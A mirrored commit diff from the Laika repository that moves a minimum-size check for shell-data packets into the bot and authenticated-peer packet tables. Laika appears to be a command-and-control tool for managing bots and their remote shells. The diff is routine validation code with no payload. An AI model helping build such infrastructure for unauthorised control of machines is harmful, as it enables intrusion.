mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-07 08:30:06 +00:00
Lib: Variadic packets now use the 'size' field as a minimum requirement
This commit is contained in:
@@ -128,7 +128,7 @@ struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = {
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
|
||||
laikaC_handleShellData,
|
||||
0,
|
||||
sizeof(uint32_t), /* packet must be bigger than this */
|
||||
true),
|
||||
};
|
||||
|
||||
@@ -144,7 +144,7 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
|
||||
laikaC_handleAuthenticatedShellData,
|
||||
0,
|
||||
sizeof(uint32_t), /* packet must be bigger than this */
|
||||
true),
|
||||
};
|
||||
|
||||
|
@@ -103,7 +103,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
|
||||
struct sLaika_shellInfo *shell;
|
||||
uint32_t id;
|
||||
|
||||
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t))
|
||||
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
|
||||
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
|
||||
|
||||
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
|
||||
|
@@ -193,7 +193,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
uint32_t id;
|
||||
|
||||
/* ignore packet if malformed */
|
||||
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t) || sz <= sizeof(uint32_t))
|
||||
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t))
|
||||
return;
|
||||
|
||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
||||
|
Reference in New Issue
Block a user